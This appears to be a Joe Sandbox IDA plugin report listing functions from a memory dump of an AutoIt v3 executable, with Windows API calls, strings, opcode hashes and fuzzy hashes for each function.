Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 53c8dbfe72762710d49f2af290b43fa797d6001cd6e64e794eaeb432227a4ec4
Instruction ID: a45a7be0ec885fad6e1d6e0c68c17469f29748cc2700fbe9b1134b5c08a874db
Opcode Fuzzy Hash: 53c8dbfe72762710d49f2af290b43fa797d6001cd6e64e794eaeb432227a4ec4
Instruction Fuzzy Hash: E371BF75406304DFC314EF69EC959ABBBE8FFA5740F50082EF555971A0EB309A48CB62

Function 001B2B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 001B2B8E
LoadCursorW.USER32(00000000,00007F00), ref: 001B2B9D
LoadIconW.USER32(00000063), ref: 001B2BB3
LoadIconW.USER32(000000A4), ref: 001B2BC5
LoadIconW.USER32(000000A2), ref: 001B2BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 001B2BEF
RegisterClassExW.USER32(?), ref: 001B2C40

Part of subcall function 001B2CD4: GetSysColorBrush.USER32(0000000F), ref: 001B2D07
Part of subcall function 001B2CD4: RegisterClassExW.USER32(00000030), ref: 001B2D31
Part of subcall function 001B2CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 001B2D42
Part of subcall function 001B2CD4: InitCommonControlsEx.COMCTL32(?), ref: 001B2D5F
Part of subcall function 001B2CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 001B2D6F
Part of subcall function 001B2CD4: LoadIconW.USER32(000000A9), ref: 001B2D85
Part of subcall function 001B2CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 001B2D94

Strings

0, xrefs: 001B2C0F
#, xrefs: 001B2C16
AutoIt v3, xrefs: 001B2C2F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 45dd1bc6f65b7114d942beff89e41caa79dd2d40e3099b8aaa50cf632e39f399
Instruction ID: 841da6b1c6c0882e1020c8dc51be992ce4366838db892c2733a5ec4acb1d785b
Opcode Fuzzy Hash: 45dd1bc6f65b7114d942beff89e41caa79dd2d40e3099b8aaa50cf632e39f399
Instruction Fuzzy Hash: 74212C78E52314ABDB109FA9FC5DAEDBFB8FB48B50F14009AE500A66E0D7B10561CF90

Function 001B3170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,001B316A,?,?), ref: 001B31D8
KillTimer.USER32(?,00000001,?,?,?,?,?,001B316A,?,?), ref: 001B3204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 001B3227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,001B316A,?,?), ref: 001B3232
CreatePopupMenu.USER32 ref: 001B3246
PostQuitMessage.USER32(00000000), ref: 001B3267

Strings

TaskbarCreated, xrefs: 001B322D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: ed6d5cbc4b4d5f736ab1c3ee19a9201bc4066124f700d73732475d90969f34af
Instruction ID: b4d50b6bcd27406de9c64334947c4055c3e450ee4d127e2a675cb60570ea71c1
Opcode Fuzzy Hash: ed6d5cbc4b4d5f736ab1c3ee19a9201bc4066124f700d73732475d90969f34af
Instruction Fuzzy Hash: 75414B3D251208ABDB193B7CEC1EBF93A5DEB06340F140165F622862E2CB718E7197A1

Function 001B1410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 001B1459
CoUninitialize.COMBASE ref: 001B14F8
UnregisterHotKey.USER32(?), ref: 001B16DD
DestroyWindow.USER32(?), ref: 001F24B9
FreeLibrary.KERNEL32(?), ref: 001F251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 001F254B

Strings

close all, xrefs: 001B1454

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 9176bcd520fdcfbff56f0df53387c3d9188d109d8d97442cf88cd44aa3936ec5
Instruction ID: 8883049036fbc8309f13945ae12545ca68baa6f31189f095460cd1ef3d962802
Opcode Fuzzy Hash: 9176bcd520fdcfbff56f0df53387c3d9188d109d8d97442cf88cd44aa3936ec5
Instruction Fuzzy Hash: A1D17E31702212DFCB29EF54D4A9AB9F7A1BF15710F6641ADE94A6B261CB30EC12CF50

Function 001B2C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 001B2C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 001B2CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,001B1CAD,?), ref: 001B2CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,001B1CAD,?), ref: 001B2CCF

Strings

AutoIt v3, xrefs: 001B2C89, 001B2C8E, 001B2C8F
edit, xrefs: 001B2CAC

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 32814bab34c398bf60fcd75ae8d4640f1bf802855e1e689e44b8a90acfe66f18
Instruction ID: 268ddf577bb52f8a974862ee3126de70fac8b00f50c8520c9d1de679da4bfffd
Opcode Fuzzy Hash: 32814bab34c398bf60fcd75ae8d4640f1bf802855e1e689e44b8a90acfe66f18
Instruction Fuzzy Hash: C3F0DA795423907AEB711717BC0CEB76EBDD7C7F50B10009AF900A65A0C6751862DBB0

Function 001B3B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,001B3B0F,SwapMouseButtons,00000004,?), ref: 001B3B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,001B3B0F,SwapMouseButtons,00000004,?), ref: 001B3B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,001B3B0F,SwapMouseButtons,00000004,?), ref: 001B3B83

Strings

Control Panel\Mouse, xrefs: 001B3B3E

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: cd0141d1449df21c84124a458138b3a5dfdea3b76c8214a31693632916b2178e
Instruction ID: 6f732181f3601c382de545c58f7335ebb383cd6868d2b0b47a0e0caf1dbabad7
Opcode Fuzzy Hash: cd0141d1449df21c84124a458138b3a5dfdea3b76c8214a31693632916b2178e
Instruction Fuzzy Hash: EF115AB5511208FFDB218FA8DD48AEEB7B8EF01740B104559E811D7214D7319E509760

Function 001B3923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 001F33A2

Part of subcall function 001B6B57: _wcslen.LIBCMT ref: 001B6B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 001B3A04

Strings

Line: , xrefs: 001F33EB

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 45ed2bdae59797ab995344573a87d62b9508ac0adcb96fe8667433b2329cab56
Instruction ID: 9807515e4e08af4319d017a5c917b2cd95888d743cad55d739f16dda5799e1a2
Opcode Fuzzy Hash: 45ed2bdae59797ab995344573a87d62b9508ac0adcb96fe8667433b2329cab56
Instruction Fuzzy Hash: C831F271409304ABC325EB20EC49BEBB7ECAF61314F10456EF5A9831D1EB749A69C7C2

Function 001B2DE3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 001F2C8C

Part of subcall function 001B3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,001B3A97,?,?,001B2E7F,?,?,?,00000000), ref: 001B3AC2

Part of subcall function 001B2DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 001B2DC4

Strings

X, xrefs: 001F2C5A
`e', xrefs: 001F2C85

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X$`e'
API String ID: 779396738-340175575
Opcode ID: c35a5b0bed86640a8873bf5a2bf1ffab3f8ac679b995f086b28b7d548ba6bffa
Instruction ID: e42c799af479335b603a131c6198ce7483136c85d5eac2b22478c7737f71c61c
Opcode Fuzzy Hash: c35a5b0bed86640a8873bf5a2bf1ffab3f8ac679b995f086b28b7d548ba6bffa
Instruction Fuzzy Hash: 0821A571A1025C9FCB01DF94C849BEE7BFCAF59304F008059E519A7241DBB89A5D8F61

Function 001CFDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 001D0668

Part of subcall function 001D32A4: RaiseException.KERNEL32(?,?,?,001D068A,?,00281444,?,?,?,?,?,?,001D068A,001B1129,00278738,001B1129), ref: 001D3304

__CxxThrowException@8.LIBVCRUNTIME ref: 001D0685

Strings

Unknown exception, xrefs: 001D0692

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: 43235e2bea3d1d6b4d2e321ab8e4c7c11d6611229da4418c814fee7a0e4bb73c
Instruction ID: 6215c68bc32ad97623afc7fc0d517c6d5754095963f00c3fb350946c81db9c25
Opcode Fuzzy Hash: 43235e2bea3d1d6b4d2e321ab8e4c7c11d6611229da4418c814fee7a0e4bb73c
Instruction Fuzzy Hash: 57F0F63490020DB7CB05BAB4EC4AEAE7B6D5E64350F60413BB828D67D1EF71EA26C5C1

Function 001B10F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 001B1BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 001B1BF4
Part of subcall function 001B1BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 001B1BFC
Part of subcall function 001B1BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 001B1C07
Part of subcall function 001B1BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 001B1C12
Part of subcall function 001B1BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 001B1C1A
Part of subcall function 001B1BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 001B1C22

Part of subcall function 001B1B4A: RegisterWindowMessageW.USER32(00000004,?,001B12C4), ref: 001B1BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 001B136A
OleInitialize.OLE32 ref: 001B1388
CloseHandle.KERNEL32(00000000,00000000), ref: 001F24AB

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 967fcda65e735aaac9f9c8a5a4bf0f85799b1405628ebd2fae04bcfa681e9ddb
Instruction ID: 1dbd40e83b46311920a30bb217daf3c59ec05a9802fd6cacb4861ce22df11b2b
Opcode Fuzzy Hash: 967fcda65e735aaac9f9c8a5a4bf0f85799b1405628ebd2fae04bcfa681e9ddb
Instruction Fuzzy Hash: B5718DBC9132009ED384EF79F95D6A53AEDBB98344794812AD40AC72E2EB384432CF45

Function 0021C161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 001B3923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 001B3A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0021C259
KillTimer.USER32(?,00000001,?,?), ref: 0021C261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0021C270

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 8a3a5f76e2ea46f8c035390736c1d0192db81fb8f8423fe63f8f71f0841071ac
Instruction ID: c482d02c5114aee2182cca546791d1dbc1523c5d16f39069743c6e13f6f04271
Opcode Fuzzy Hash: 8a3a5f76e2ea46f8c035390736c1d0192db81fb8f8423fe63f8f71f0841071ac
Instruction Fuzzy Hash: E331E378950344AFEB328F649859BEBBBECAB26308F20009AD5DA93241C3745AC4CB51

Function 001E86AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,001E85CC,?,00278CC8,0000000C), ref: 001E8704
GetLastError.KERNEL32(?,001E85CC,?,00278CC8,0000000C), ref: 001E870E
__dosmaperr.LIBCMT ref: 001E8739

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: fd9cdd35dc335498a6f00907d6a1d8a3ed0b496ee66a7ed268a701b4e587e7f4
Instruction ID: 8b37cb8bc416f8f76f87e9ef8085235314e4755dc3bcccbfab11d77dba6d87d9
Opcode Fuzzy Hash: fd9cdd35dc335498a6f00907d6a1d8a3ed0b496ee66a7ed268a701b4e587e7f4
Instruction Fuzzy Hash: 0B016B32A05EE016C3686637684977E6B4A4BA6778F390119F81C8B1D2DFA0CCC18250

Function 001BDB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 001BDB7B
DispatchMessageW.USER32(?), ref: 001BDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 001BDB9F
Sleep.KERNELBASE(0000000A), ref: 001BDBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 00201CC9

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 69a578d07ce60a749ae7e721ca027ae4e513bbcdedcec2d7a01711c4303a31b5
Instruction ID: b2a5d958c6d871907c660f2936314490619bcb1cee489b6b44bb59d26a39c27a
Opcode Fuzzy Hash: 69a578d07ce60a749ae7e721ca027ae4e513bbcdedcec2d7a01711c4303a31b5
Instruction Fuzzy Hash: 6FF05E306453419BFB74CBA4AC49FEA73ACEB46310F504619E60A930C0EB30A458CB26

Function 001C1310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 001C17F6

Strings

CALL, xrefs: 001C17C6

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 200591351f9e467953d2e1146538f4c846e3c3da87b9245d155c5515f4df1119
Instruction ID: b2afa95bcda0ec1600bedb70943a258328c176df4924967b4fc16fb42901d766
Opcode Fuzzy Hash: 200591351f9e467953d2e1146538f4c846e3c3da87b9245d155c5515f4df1119
Instruction Fuzzy Hash: 8C227A70648301AFC714DF14C484F2ABBF1BFAA314F64895DF4968B2A2D771E865CB92

Function 001B3837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 001B3908

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 1c31bc729c184fa6c167ba55eacc6a8fc49879b978328f7b6461d72a6f26848c
Instruction ID: a00b0112112e6ed94426c249cda1fa5d2c667ba390e88a51add9c22bf72b2257
Opcode Fuzzy Hash: 1c31bc729c184fa6c167ba55eacc6a8fc49879b978328f7b6461d72a6f26848c
Instruction Fuzzy Hash: 5F31B474505701DFD721DF24E8887D7BBE8FB49708F00096EF6A983280E771AA55CB52

Function 001CF645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 001CF661

Part of subcall function 001BD730: GetInputState.USER32 ref: 001BD807

Sleep.KERNEL32(00000000), ref: 0020F2DE

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 2991abc74b9d0bc038a050ca70eb66e781d0ec8191003f592272e9d8b2882e63
Instruction ID: c01b6569fb72651a0d3004000640672f12a071c05a84e820953852868d8e9a11
Opcode Fuzzy Hash: 2991abc74b9d0bc038a050ca70eb66e781d0ec8191003f592272e9d8b2882e63
Instruction Fuzzy Hash: E1F08C352446059FD364EF69E449BAAB7E8EF56760F00002AF85EC76A1DBB0A800CB91

Function 001B4ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 001B4E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,001B4EDD,?,00281418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 001B4E9C
Part of subcall function 001B4E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 001B4EAE
Part of subcall function 001B4E90: FreeLibrary.KERNEL32(00000000,?,?,001B4EDD,?,00281418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 001B4EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00281418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 001B4EFD

Part of subcall function 001B4E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,001F3CDE,?,00281418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 001B4E62
Part of subcall function 001B4E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 001B4E74
